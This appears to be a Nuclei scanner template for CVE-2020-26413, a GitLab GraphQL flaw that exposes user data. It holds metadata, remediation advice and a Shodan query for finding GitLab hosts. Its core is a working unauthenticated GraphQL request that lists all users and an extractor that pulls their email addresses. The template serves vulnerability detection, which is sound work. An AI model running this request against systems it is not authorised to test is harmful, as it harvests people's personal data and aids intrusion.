64 lines
2.1 KiB
YAML
64 lines
2.1 KiB
YAML
id: CVE-2020-26413
|
|
|
|
info:
|
|
name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
|
|
author: _0xf4n9x_,pikpikcu
|
|
severity: medium
|
|
description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Upgrade Gitlab CE/EE to version 13.6.3 or later.
|
|
reference:
|
|
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
|
|
- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
|
|
- https://hackerone.com/reports/972355
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2020-26413
|
|
cwe-id: CWE-200
|
|
epss-score: 0.65771
|
|
epss-percentile: 0.97553
|
|
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: gitlab
|
|
product: gitlab
|
|
shodan-query: http.title:"GitLab"
|
|
tags: hackerone,cve,cve2020,gitlab,exposure,enum,graphql
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/graphql HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
|
|
"variables": null,
|
|
"operationName": null
|
|
}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"username":'
|
|
- '"avatarUrl":'
|
|
- '"node":'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: json
|
|
json:
|
|
- '.data.users.edges[].node.email'
|
|
part: body
|
|
|
|
# digest: 4a0a00473045022049c685a03d50b7e37c79f58bbd1397ea0217b526f2ffdaa8eee4538befa59486022100ca3a5168382be73887df633fc4184473e2453af9bb0852249c694ada0e80c8cf:922c64590222798bb761d5b6d8e72950
|